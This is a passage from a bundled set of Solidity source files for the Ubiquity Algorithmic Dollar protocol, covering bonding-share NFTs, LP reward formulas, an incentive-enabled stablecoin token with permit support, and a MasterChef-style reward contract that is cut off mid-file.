share\n function _updateLpPerShare() internal {\n BondingShareV2 bond = BondingShareV2(manager.bondingShareAddress());\n uint256 lpBalance = IERC20(manager.stableSwapMetaPoolAddress())\n .balanceOf(address(this));\n // the excess LP is the current balance\n // minus the total deposited LP + LP that needs to be migrated\n uint256 totalShares = IMasterChefV2(manager.masterChefAddress())\n .totalShares();\n if (\n lpBalance >= (bond.totalLP() + totalLpToMigrate) && totalShares > 0\n ) {\n uint256 currentLpRewards = lpBalance -\n (bond.totalLP() + totalLpToMigrate);\n\n // is there new LP rewards to be distributed ?\n if (currentLpRewards > lpRewards) {\n // we calculate the new accumulated LP rewards per share\n accLpRewardPerShare =\n accLpRewardPerShare +\n (((currentLpRewards - lpRewards) * 1e12) / totalShares);\n\n // update the bonding contract lpRewards\n lpRewards = currentLpRewards;\n }\n }\n }\n\n function _mint(\n address to,\n uint256 lpAmount,\n uint256 shares,\n uint256 endBlock\n ) internal returns (uint256) {\n uint256 _currentShareValue = currentShareValue();\n require(\n _currentShareValue != 0,\n \"Bonding: share value should not be null\"\n );\n // set the lp rewards debts so that this bonding share only get lp rewards from this day\n uint256 lpRewardDebt = (shares * accLpRewardPerShare) / 1e12;\n return\n BondingShareV2(manager.bondingShareAddress()).mint(\n to,\n lpAmount,\n lpRewardDebt,\n endBlock\n );\n }\n\n function _checkForLiquidity(uint256 _id)\n internal\n returns (uint256[2] memory bs, BondingShareV2.Bond memory bond)\n {\n require(\n IERC1155Ubiquity(manager.bondingShareAddress()).balanceOf(\n msg.sender,\n _id\n ) == 1,\n \"Bonding: caller is not owner\"\n );\n BondingShareV2 bonding = BondingShareV2(manager.bondingShareAddress());\n bond = bonding.getBond(_id);\n require(\n block.number > bond.endBlock,\n \"Bonding: Redeem not allowed before bonding time\"\n );\n\n ITWAPOracle(manager.twapOracleAddress()).update();\n bs = IMasterChefV2(manager.masterChefAddress()).getBondingShareInfo(\n _id\n );\n }\n}\n" - }, - "contracts/interfaces/IERC1155Ubiquity.sol": { - "content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC1155/IERC1155.sol\";\n\n/// @title ERC1155 Ubiquiti preset interface\n/// @author Ubiquity Algorithmic Dollar\ninterface IERC1155Ubiquity is IERC1155 {\n function mint(\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) external;\n\n function mintBatch(\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) external;\n\n function burn(\n address account,\n uint256 id,\n uint256 value\n ) external;\n\n function burnBatch(\n address account,\n uint256[] memory ids,\n uint256[] memory values\n ) external;\n\n function pause() external;\n\n function unpause() external;\n\n function totalSupply() external view returns (uint256);\n\n function exists(uint256 id) external view returns (bool);\n\n function holderTokens() external view returns (uint256[] memory);\n}\n" - }, - "contracts/interfaces/IUbiquityFormulas.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\ninterface IUbiquityFormulas {\n function durationMultiply(\n uint256 _uLP,\n uint256 _weeks,\n uint256 _multiplier\n ) external pure returns (uint256 _shares);\n\n function bonding(\n uint256 _shares,\n uint256 _currentShareValue,\n uint256 _targetPrice\n ) external pure returns (uint256 _uBOND);\n\n function redeemBonds(\n uint256 _uBOND,\n uint256 _currentShareValue,\n uint256 _targetPrice\n ) external pure returns (uint256 _uLP);\n\n function bondPrice(\n uint256 _totalULP,\n uint256 _totalUBOND,\n uint256 _targetPrice\n ) external pure returns (uint256 _priceUBOND);\n\n function ugovMultiply(uint256 _multiplier, uint256 _price)\n external\n pure\n returns (uint256 _newMultiplier);\n}\n" - }, - "contracts/UbiquityAlgorithmicDollar.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"./interfaces/IIncentive.sol\";\nimport \"./ERC20Ubiquity.sol\";\n\ncontract UbiquityAlgorithmicDollar is ERC20Ubiquity {\n /// @notice get associated incentive contract, 0 address if N/A\n mapping(address => address) public incentiveContract;\n\n event IncentiveContractUpdate(\n address indexed _incentivized,\n address indexed _incentiveContract\n );\n\n constructor(address _manager)\n ERC20Ubiquity(_manager, \"Ubiquity Algorithmic Dollar\", \"uAD\")\n {} // solhint-disable-line no-empty-blocks\n\n /// @param account the account to incentivize\n /// @param incentive the associated incentive contract\n /// @notice only UAD manager can set Incentive contract\n function setIncentiveContract(address account, address incentive) external {\n require(\n ERC20Ubiquity.manager.hasRole(\n ERC20Ubiquity.manager.UBQ_TOKEN_MANAGER_ROLE(),\n msg.sender\n ),\n \"Dollar: must have admin role\"\n );\n\n incentiveContract[account] = incentive;\n emit IncentiveContractUpdate(account, incentive);\n }\n\n function _checkAndApplyIncentives(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n // incentive on sender\n address senderIncentive = incentiveContract[sender];\n if (senderIncentive != address(0)) {\n IIncentive(senderIncentive).incentivize(\n sender,\n recipient,\n msg.sender,\n amount\n );\n }\n\n // incentive on recipient\n address recipientIncentive = incentiveContract[recipient];\n if (recipientIncentive != address(0)) {\n IIncentive(recipientIncentive).incentivize(\n sender,\n recipient,\n msg.sender,\n amount\n );\n }\n\n // incentive on operator\n address operatorIncentive = incentiveContract[msg.sender];\n if (\n msg.sender != sender &&\n msg.sender != recipient &&\n operatorIncentive != address(0)\n ) {\n IIncentive(operatorIncentive).incentivize(\n sender,\n recipient,\n msg.sender,\n amount\n );\n }\n\n // all incentive, if active applies to every transfer\n address allIncentive = incentiveContract[address(0)];\n if (allIncentive != address(0)) {\n IIncentive(allIncentive).incentivize(\n sender,\n recipient,\n msg.sender,\n amount\n );\n }\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal override {\n super._transfer(sender, recipient, amount);\n _checkAndApplyIncentives(sender, recipient, amount);\n }\n}\n" - }, - "contracts/BondingFormulas.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"./BondingShareV2.sol\";\nimport \"./libs/ABDKMathQuad.sol\";\n\nimport \"./interfaces/IMasterChefV2.sol\";\n\ncontract BondingFormulas {\n using ABDKMathQuad for uint256;\n using ABDKMathQuad for bytes16;\n\n uint256 public constant ONE = uint256(1 ether); // 18 decimals\n\n /// @dev formula UBQ Rights corresponding to a bonding shares LP amount\n /// @param _bond , bonding share\n /// @param _amount , amount of LP tokens\n /// @notice shares = (bond.shares * _amount ) / bond.lpAmount ;\n function sharesForLP(\n BondingShareV2.Bond memory _bond,\n uint256[2] memory _shareInfo,\n uint256 _amount\n ) public pure returns (uint256 _uLP) {\n bytes16 a = _shareInfo[0].fromUInt(); // shares amount\n bytes16 v = _amount.fromUInt();\n bytes16 t = _bond.lpAmount.fromUInt();\n\n _uLP = a.mul(v).div(t).toUInt();\n }\n\n /// @dev formula may add a decreasing rewards if locking end is near when removing liquidity\n /// @param _bond , bonding share\n /// @param _amount , amount of LP tokens\n /// @notice rewards = _amount;\n // solhint-disable-block no-unused-vars\n /* solhint-disable no-unused-vars */\n function lpRewardsRemoveLiquidityNormalization(\n BondingShareV2.Bond memory _bond,\n uint256[2] memory _shareInfo,\n uint256 _amount\n ) public pure returns (uint256) {\n return _amount;\n }\n\n /* solhint-enable no-unused-vars */\n /// @dev formula may add a decreasing rewards if locking end is near when adding liquidity\n /// @param _bond , bonding share\n /// @param _amount , amount of LP tokens\n /// @notice rewards = _amount;\n // solhint-disable-block no-unused-vars\n /* solhint-disable no-unused-vars */\n function lpRewardsAddLiquidityNormalization(\n BondingShareV2.Bond memory _bond,\n uint256[2] memory _shareInfo,\n uint256 _amount\n ) public pure returns (uint256) {\n return _amount;\n }\n\n /* solhint-enable no-unused-vars */\n\n /// @dev formula to calculate the corrected amount to withdraw based on the proportion of\n /// lp deposited against actual LP token on thge bonding contract\n /// @param _totalLpDeposited , Total amount of LP deposited by users\n /// @param _bondingLpBalance , actual bonding contract LP tokens balance minus lp rewards\n /// @param _amount , amount of LP tokens\n /// @notice corrected_amount = amount * ( bondingLpBalance / totalLpDeposited)\n /// if there is more or the same amount of LP than deposited then do nothing\n function correctedAmountToWithdraw(\n uint256 _totalLpDeposited,\n uint256 _bondingLpBalance,\n uint256 _amount\n ) public pure returns (uint256) {\n if (_bondingLpBalance < _totalLpDeposited && _bondingLpBalance > 0) {\n // if there is less LP token inside the bonding contract that what have been deposited\n // we have to reduce proportionnaly the lp amount to withdraw\n return\n _amount\n .fromUInt()\n .mul(_bondingLpBalance.fromUInt())\n .div(_totalLpDeposited.fromUInt())\n .toUInt();\n }\n return _amount;\n }\n}\n" - }, - "contracts/BondingShareV2.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC1155/ERC1155.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol\";\nimport \"@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Pausable.sol\";\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\nimport \"./utils/SafeAddArray.sol\";\n\ncontract BondingShareV2 is ERC1155, ERC1155Burnable, ERC1155Pausable {\n using SafeAddArray for uint256[];\n struct Bond {\n // address of the minter\n address minter;\n // lp amount deposited by the user\n uint256 lpFirstDeposited;\n uint256 creationBlock;\n // lp that were already there when created\n uint256 lpRewardDebt;\n uint256 endBlock;\n // lp remaining for a user\n uint256 lpAmount;\n }\n\n UbiquityAlgorithmicDollarManager public manager;\n // Mapping from account to operator approvals\n mapping(address => uint256[]) private _holderBalances;\n mapping(uint256 => Bond) private _bonds;\n uint256 private _totalLP;\n uint256 private _totalSupply;\n\n // ----------- Modifiers -----------\n modifier onlyMinter() {\n require(\n manager.hasRole(manager.UBQ_MINTER_ROLE(), msg.sender),\n \"Governance token: not minter\"\n );\n _;\n }\n\n modifier onlyBurner() {\n require(\n manager.hasRole(manager.UBQ_BURNER_ROLE(), msg.sender),\n \"Governance token: not burner\"\n );\n _;\n }\n\n modifier onlyPauser() {\n require(\n manager.hasRole(manager.PAUSER_ROLE(), msg.sender),\n \"Governance token: not pauser\"\n );\n _;\n }\n\n /**\n * @dev constructor\n */\n constructor(address _manager, string memory uri) ERC1155(uri) {\n manager = UbiquityAlgorithmicDollarManager(_manager);\n }\n\n /// @dev update bond LP amount , LP rewards debt and end block.\n /// @param _bondId bonding share id\n /// @param _lpAmount amount of LP token deposited\n /// @param _lpRewardDebt amount of excess LP token inside the bonding contract\n /// @param _endBlock end locking period block number\n function updateBond(\n uint256 _bondId,\n uint256 _lpAmount,\n uint256 _lpRewardDebt,\n uint256 _endBlock\n ) external onlyMinter whenNotPaused {\n Bond storage bond = _bonds[_bondId];\n uint256 curLpAmount = bond.lpAmount;\n if (curLpAmount > _lpAmount) {\n // we are removing LP\n _totalLP -= curLpAmount - _lpAmount;\n } else {\n // we are adding LP\n _totalLP += _lpAmount - curLpAmount;\n }\n bond.lpAmount = _lpAmount;\n bond.lpRewardDebt = _lpRewardDebt;\n bond.endBlock = _endBlock;\n }\n\n // @dev Creates `amount` new tokens for `to`, of token type `id`.\n /// @param to owner address\n /// @param lpDeposited amount of LP token deposited\n /// @param lpRewardDebt amount of excess LP token inside the bonding contract\n /// @param endBlock block number when the locking period ends\n function mint(\n address to,\n uint256 lpDeposited,\n uint256 lpRewardDebt,\n uint256 endBlock\n ) public virtual onlyMinter whenNotPaused returns (uint256 id) {\n id = _totalSupply + 1;\n _mint(to, id, 1, bytes(\"\"));\n _totalSupply += 1;\n _holderBalances[to].add(id);\n Bond storage _bond = _bonds[id];\n _bond.minter = to;\n _bond.lpFirstDeposited = lpDeposited;\n _bond.lpAmount = lpDeposited;\n _bond.lpRewardDebt = lpRewardDebt;\n _bond.creationBlock = block.number;\n _bond.endBlock = endBlock;\n _totalLP += lpDeposited;\n }\n\n /**\n * @dev Pauses all token transfers.\n *\n * See {ERC1155Pausable} and {Pausable-_pause}.\n *\n */\n function pause() public virtual onlyPauser {\n _pause();\n }\n\n /**\n * @dev Unpauses all token transfers.\n *\n * See {ERC1155Pausable} and {Pausable-_unpause}.\n *\n */\n function unpause() public virtual onlyPauser {\n _unpause();\n }\n\n /**\n * @dev See {IERC1155-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) public override whenNotPaused {\n super.safeTransferFrom(from, to, id, amount, data);\n _holderBalances[to].add(id);\n }\n\n /**\n * @dev See {IERC1155-safeBatchTransferFrom}.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) public virtual override whenNotPaused {\n super.safeBatchTransferFrom(from, to, ids, amounts, data);\n _holderBalances[to].add(ids);\n }\n\n /**\n * @dev Total amount of tokens .\n */\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev Total amount of LP tokens deposited.\n */\n function totalLP() public view virtual returns (uint256) {\n return _totalLP;\n }\n\n /**\n * @dev return bond details.\n */\n function getBond(uint256 id) public view returns (Bond memory) {\n return _bonds[id];\n }\n\n /**\n * @dev array of token Id held by the msg.sender.\n */\n function holderTokens(address holder)\n public\n view\n returns (uint256[] memory)\n {\n return _holderBalances[holder];\n }\n\n function _burn(\n address account,\n uint256 id,\n uint256 amount\n ) internal virtual override whenNotPaused {\n require(amount == 1, \"amount <> 1\");\n super._burn(account, id, 1);\n Bond storage _bond = _bonds[id];\n require(_bond.lpAmount == 0, \"LP <> 0\");\n _totalSupply -= 1;\n }\n\n function _burnBatch(\n address account,\n uint256[] memory ids,\n uint256[] memory amounts\n ) internal virtual override whenNotPaused {\n super._burnBatch(account, ids, amounts);\n for (uint256 i = 0; i < ids.length; ++i) {\n _totalSupply -= amounts[i];\n }\n }\n\n function _beforeTokenTransfer(\n address operator,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual override(ERC1155, ERC1155Pausable) {\n super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\n }\n}\n" - }, - "contracts/interfaces/ISablier.sol": { - "content": "// SPDX-License-Identifier: MIT\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\npragma solidity ^0.8.3;\n\ninterface ISablier {\n event CreateCompoundingStream(\n uint256 indexed streamId,\n uint256 exchangeRate,\n uint256 senderSharePercentage,\n uint256 recipientSharePercentage\n );\n event PayInterest(\n uint256 indexed streamId,\n uint256 senderInterest,\n uint256 recipientInterest,\n uint256 sablierInterest\n );\n event TakeEarnings(address indexed tokenAddress, uint256 indexed amount);\n event UpdateFee(uint256 indexed fee);\n event Paused(address account);\n event Unpaused(address account);\n event PauserAdded(address indexed account);\n event PauserRemoved(address indexed account);\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n event CreateStream(\n uint256 indexed streamId,\n address indexed sender,\n address indexed recipient,\n uint256 deposit,\n address tokenAddress,\n uint256 startTime,\n uint256 stopTime\n );\n event WithdrawFromStream(\n uint256 indexed streamId,\n address indexed recipient,\n uint256 amount\n );\n event CancelStream(\n uint256 indexed streamId,\n address indexed sender,\n address indexed recipient,\n uint256 senderBalance,\n uint256 recipientBalance\n );\n\n function unpause() external;\n\n function cancelStream(uint256 streamId) external returns (bool);\n\n function withdrawFromStream(uint256 streamId, uint256 amount)\n external\n returns (bool);\n\n function initialize() external;\n\n function createCompoundingStream(\n address recipient,\n uint256 deposit,\n address tokenAddress,\n uint256 startTime,\n uint256 stopTime,\n uint256 senderSharePercentage,\n uint256 recipientSharePercentage\n ) external returns (uint256);\n\n function addPauser(address account) external;\n\n function pause() external;\n\n function interestOf(uint256 streamId, uint256 amount)\n external\n returns (\n uint256 senderInterest,\n uint256 recipientInterest,\n uint256 sablierInterest\n );\n\n function updateFee(uint256 feePercentage) external;\n\n function takeEarnings(address tokenAddress, uint256 amount) external;\n\n function initialize(address sender) external;\n\n function createStream(\n address recipient,\n uint256 deposit,\n address tokenAddress,\n uint256 startTime,\n uint256 stopTime\n ) external returns (uint256);\n\n function transferOwnership(address newOwner) external;\n\n function getEarnings(address tokenAddress) external view returns (uint256);\n\n function nextStreamId() external view returns (uint256);\n\n function getCompoundingStream(uint256 streamId)\n external\n view\n returns (\n address sender,\n address recipient,\n uint256 deposit,\n address tokenAddress,\n uint256 startTime,\n uint256 stopTime,\n uint256 remainingBalance,\n uint256 ratePerSecond,\n uint256 exchangeRateInitial,\n uint256 senderSharePercentage,\n uint256 recipientSharePercentage\n );\n\n function balanceOf(uint256 streamId, address who)\n external\n view\n returns (uint256 balance);\n\n function isPauser(address account) external view returns (bool);\n\n function paused() external view returns (bool);\n\n function getStream(uint256 streamId)\n external\n view\n returns (\n address sender,\n address recipient,\n uint256 deposit,\n address tokenAddress,\n uint256 startTime,\n uint256 stopTime,\n uint256 remainingBalance,\n uint256 ratePerSecond\n );\n\n function owner() external view returns (address);\n\n function isOwner() external view returns (bool);\n\n function isCompoundingStream(uint256 streamId) external view returns (bool);\n\n function deltaOf(uint256 streamId) external view returns (uint256 delta);\n\n function cTokenManager() external view returns (address);\n\n function fee() external view returns (uint256 mantissa);\n}\n" - }, - "contracts/interfaces/IMasterChefV2.sol": { - "content": "// SPDX-License-Identifier: UNLICENSED\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\nimport \"../MasterChefV2.sol\";\n\ninterface IMasterChefV2 {\n struct BondingShareInfo {\n uint256 amount; // How many LP tokens the user has provided.\n uint256 rewardDebt; // Reward debt. See explanation below.\n }\n struct PoolInfo {\n uint256 lastRewardBlock; // Last block number that SUSHI distribution occurs.\n uint256 accuGOVPerShare; // Accumulated SUSHI per share, times 1e12. See below.\n }\n\n event Deposit(address indexed user, uint256 amount, uint256 bondingShareID);\n event Withdraw(\n address indexed user,\n uint256 amount,\n uint256 bondingShareID\n );\n\n function deposit(\n address sender,\n uint256 amount,\n uint256 bondingShareID\n ) external;\n\n // Withdraw LP tokens from MasterChef.\n function withdraw(\n address sender,\n uint256 amount,\n uint256 bondingShareID\n ) external;\n\n // Info about a bondinh share\n function getBondingShareInfo(uint256 _id)\n external\n view\n returns (uint256[2] memory);\n\n // Total amount of shares\n function totalShares() external view returns (uint256);\n\n // View function to see pending SUSHIs on frontend.\n function pendingUGOV(address _user) external view returns (uint256);\n}\n\n// THIS FILE WAS AUTOGENERATED FROM THE FOLLOWING ABI JSON:\n" - }, - "contracts/interfaces/ITWAPOracle.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\ninterface ITWAPOracle {\n function update() external;\n\n function consult(address token) external view returns (uint256 amountOut);\n}\n" - }, - "contracts/utils/CollectableDust.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/utils/Address.sol\";\nimport \"@openzeppelin/contracts/utils/structs/EnumerableSet.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\n\nimport \"../interfaces/utils/ICollectableDust.sol\";\n\nabstract contract CollectableDust is ICollectableDust {\n using SafeERC20 for IERC20;\n using EnumerableSet for EnumerableSet.AddressSet;\n\n address public constant ETH_ADDRESS =\n 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;\n EnumerableSet.AddressSet internal _protocolTokens;\n\n // solhint-disable-next-line no-empty-blocks\n constructor() {}\n\n function _addProtocolToken(address _token) internal {\n require(\n !_protocolTokens.contains(_token),\n \"collectable-dust::token-is-part-of-the-protocol\"\n );\n _protocolTokens.add(_token);\n emit ProtocolTokenAdded(_token);\n }\n\n function _removeProtocolToken(address _token) internal {\n require(\n _protocolTokens.contains(_token),\n \"collectable-dust::token-not-part-of-the-protocol\"\n );\n _protocolTokens.remove(_token);\n emit ProtocolTokenRemoved(_token);\n }\n\n function _sendDust(\n address _to,\n address _token,\n uint256 _amount\n ) internal {\n require(\n _to != address(0),\n \"collectable-dust::cant-send-dust-to-zero-address\"\n );\n require(\n !_protocolTokens.contains(_token),\n \"collectable-dust::token-is-part-of-the-protocol\"\n );\n if (_token == ETH_ADDRESS) {\n payable(_to).transfer(_amount);\n } else {\n IERC20(_token).safeTransfer(_to, _amount);\n }\n emit DustSent(_to, _token, _amount);\n }\n}\n" - }, - "contracts/interfaces/IIncentive.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\n/// @title incentive contract interface\n/// @notice Called by uAD token contract when transferring with an incentivized address\n/// @dev should be appointed as a Minter or Burner as needed\ninterface IIncentive {\n /// @notice apply incentives on transfer\n /// @param sender the sender address of uAD\n /// @param receiver the receiver address of uAD\n /// @param operator the operator (msg.sender) of the transfer\n /// @param amount the amount of uAD transferred\n function incentivize(\n address sender,\n address receiver,\n address operator,\n uint256 amount\n ) external;\n}\n" - }, - "contracts/ERC20Ubiquity.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol\";\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\nimport \"./interfaces/IERC20Ubiquity.sol\";\n\n/// @title ERC20 Ubiquity preset\n/// @author Ubiquity Algorithmic Dollar\n/// @notice ERC20 with :\n/// - ERC20 minter, burner and pauser\n/// - draft-ERC20 permit\n/// - Ubiquity Manager access control\ncontract ERC20Ubiquity is IERC20Ubiquity, ERC20, ERC20Burnable, ERC20Pausable {\n UbiquityAlgorithmicDollarManager public manager;\n\n // solhint-disable-next-line var-name-mixedcase\n bytes32 public DOMAIN_SEPARATOR;\n // keccak256(\"Permit(address owner,address spender,\n // uint256 value,uint256 nonce,uint256 deadline)\");\n bytes32 public constant PERMIT_TYPEHASH =\n 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;\n mapping(address => uint256) public nonces;\n string private _tokenName;\n string private _symbol;\n\n // ----------- Modifiers -----------\n modifier onlyMinter() {\n require(\n manager.hasRole(manager.UBQ_MINTER_ROLE(), msg.sender),\n \"Governance token: not minter\"\n );\n _;\n }\n\n modifier onlyBurner() {\n require(\n manager.hasRole(manager.UBQ_BURNER_ROLE(), msg.sender),\n \"Governance token: not burner\"\n );\n _;\n }\n\n modifier onlyPauser() {\n require(\n manager.hasRole(manager.PAUSER_ROLE(), msg.sender),\n \"Governance token: not pauser\"\n );\n _;\n }\n\n modifier onlyAdmin() {\n require(\n manager.hasRole(manager.DEFAULT_ADMIN_ROLE(), msg.sender),\n \"ERC20: deployer must be manager admin\"\n );\n _;\n }\n\n constructor(\n address _manager,\n string memory name_,\n string memory symbol_\n ) ERC20(name_, symbol_) {\n _tokenName = name_;\n _symbol = symbol_;\n manager = UbiquityAlgorithmicDollarManager(_manager);\n // sender must be UbiquityAlgorithmicDollarManager roleAdmin\n // because he will get the admin, minter and pauser role on uAD and we want to\n // manage all permissions through the manager\n require(\n manager.hasRole(manager.DEFAULT_ADMIN_ROLE(), msg.sender),\n \"ERC20: deployer must be manager admin\"\n );\n uint256 chainId;\n // solhint-disable-next-line no-inline-assembly\n assembly {\n chainId := chainid()\n }\n\n DOMAIN_SEPARATOR = keccak256(\n abi.encode(\n keccak256(\n // solhint-disable-next-line max-line-length\n \"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\"\n ),\n keccak256(bytes(name())),\n keccak256(bytes(\"1\")),\n chainId,\n address(this)\n )\n );\n }\n\n /// @notice setSymbol update token symbol\n /// @param newSymbol new token symbol\n function setSymbol(string memory newSymbol) external onlyAdmin {\n _symbol = newSymbol;\n }\n\n /// @notice setName update token name\n /// @param newName new token name\n function setName(string memory newName) external onlyAdmin {\n _tokenName = newName;\n }\n\n /// @notice permit spending of uAD. owner has signed a message allowing\n /// spender to transfer up to amount uAD\n /// @param owner the uAD holder\n /// @param spender the approved operator\n /// @param value the amount approved\n /// @param deadline the deadline after which the approval is no longer valid\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external override {\n // solhint-disable-next-line not-rely-on-time\n require(deadline >= block.timestamp, \"Dollar: EXPIRED\");\n bytes32 digest = keccak256(\n abi.encodePacked(\n \"\\x19\\x01\",\n DOMAIN_SEPARATOR,\n keccak256(\n abi.encode(\n PERMIT_TYPEHASH,\n owner,\n spender,\n value,\n nonces[owner]++,\n deadline\n )\n )\n )\n );\n address recoveredAddress = ecrecover(digest, v, r, s);\n require(\n recoveredAddress != address(0) && recoveredAddress == owner,\n \"Dollar: INVALID_SIGNATURE\"\n );\n _approve(owner, spender, value);\n }\n\n /// @notice burn UAD tokens from caller\n /// @param amount the amount to burn\n function burn(uint256 amount)\n public\n override(ERC20Burnable, IERC20Ubiquity)\n whenNotPaused\n {\n super.burn(amount);\n emit Burning(msg.sender, amount);\n }\n\n /// @notice burn uAD tokens from specified account\n /// @param account the account to burn from\n /// @param amount the amount to burn\n function burnFrom(address account, uint256 amount)\n public\n override(ERC20Burnable, IERC20Ubiquity)\n onlyBurner\n whenNotPaused // to suppress ? if BURNER_ROLE should do it even paused ?\n {\n _burn(account, amount);\n emit Burning(account, amount);\n }\n\n // @dev Creates `amount` new tokens for `to`.\n function mint(address to, uint256 amount)\n public\n override\n onlyMinter\n whenNotPaused\n {\n _mint(to, amount);\n emit Minting(to, msg.sender, amount);\n }\n\n // @dev Pauses all token transfers.\n function pause() public onlyPauser {\n _pause();\n }\n\n // @dev Unpauses all token transfers.\n function unpause() public onlyPauser {\n _unpause();\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view override(ERC20) returns (string memory) {\n return _tokenName;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view override(ERC20) returns (string memory) {\n return _symbol;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override(ERC20, ERC20Pausable) {\n super._beforeTokenTransfer(from, to, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual override whenNotPaused {\n super._transfer(sender, recipient, amount);\n }\n}\n" - }, - "contracts/MasterChefV2.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\nimport \"./interfaces/IERC20Ubiquity.sol\";\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\nimport \"./interfaces/ITWAPOracle.sol\";\nimport \"./BondingShareV2.sol\";\nimport \"./interfaces/IUbiquityFormulas.sol\";\n\nimport \"./interfaces/IERC1155Ubiquity.sol\";\n\ncontract MasterChefV2 {\n using SafeERC20 for IERC20Ubiquity;\n using SafeERC20 for IERC20;\n\n // Info of each user.\n struct BondingShareInfo {\n uint256 amount; // bonding rights.\n uint256 rewardDebt; // Reward debt. See explanation below.\n //\n // We do some fancy math here. Basically, any point in time, the amount of uGOVs\n // entitled to a user but is pending to be distributed is:\n //\n // pending reward = (user.amount * pool.accuGOVPerShare) - user.rewardDebt\n //\n // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:\n // 1. The pool's `accuGOVPerShare` (and `lastRewardBlock`) gets updated.\n // 2. User receives the pending reward sent to his/her address.\n // 3. User's `amount` gets updated.\n // 4. User's `rewardDebt` gets updated.\n }\n // Info of each pool.\n struct PoolInfo {\n uint256 lastRewardBlock; // Last block number that uGOVs distribution occurs.\n uint256 accuGOVPerShare; // Accumulated uGOVs per share, times 1e12. See below.\n }\n\n uint256 private _totalShares;\n\n // Ubiquity Manager\n UbiquityAlgorithmicDollarManager public manager;\n\n // uGOV tokens created per block.\n uint256 public uGOVPerBlock = 1e18;\n // Bonus muliplier for early uGOV makers.\n uint256 public uGOVmultiplier = 1e18;\n uint256 public minPriceDiffToUpdateMultiplier = 1000000000000000;\n uint256 public lastPrice = 1 ether;\n uint256 public uGOVDivider;\n // Info of each pool.\n PoolInfo public pool;\n // Info of each user that stakes LP tokens.\n mapping(uint256 => BondingShareInfo) private _bsInfo;\n\n event Deposit(\n address indexed user,\n uint256 amount,\n uint256 indexed bondingShareId\n );\n\n event Withdraw(\n address indexed user,\n uint256 amount,\n uint256 indexed bondingShareId\n );\n\n // ----------- Modifiers -----------\n modifier onlyTokenManager() {\n require(\n manager.hasRole(manager.UBQ_TOKEN_MANAGER_ROLE(), msg.sender),\n \"MasterChef: not UBQ manager\"\n );\n _;\n }\n modifier onlyBondingContract() {\n require(\n msg.sender == manager.bondingContractAddress(),\n \"MasterChef: not Bonding Contract\"\n );\n _;\n }\n\n constructor(address _manager) {\n manager = UbiquityAlgorithmicDollarManager(_manager);\n pool.lastRewardBlock = block.number;\n pool.accuGOVPerShare = 0; // uint256(1e12);\n uGOVDivider = 5; // 100 / 5 = 20% extra minted ugov for treasury\n _updateUGOVMultiplier();\n }\n\n function setUGOVPerBlock(uint256 _uGOVPerBlock) external onlyTokenManager {\n uGOVPerBlock = _uGOVPerBlock;\n }\n\n // the bigger uGOVDivider is the less extra Ugov will be minted for the treasury\n function setUGOVShareForTreasury(uint256 _uGOVDivider)\n external\n onlyTokenManager\n {\n uGOVDivider = _uGOVDivider;\n }\n\n function setMinPriceDiffToUpdateMultiplier(\n uint256 _minPriceDiffToUpdateMultiplier\n ) external onlyTokenManager {\n 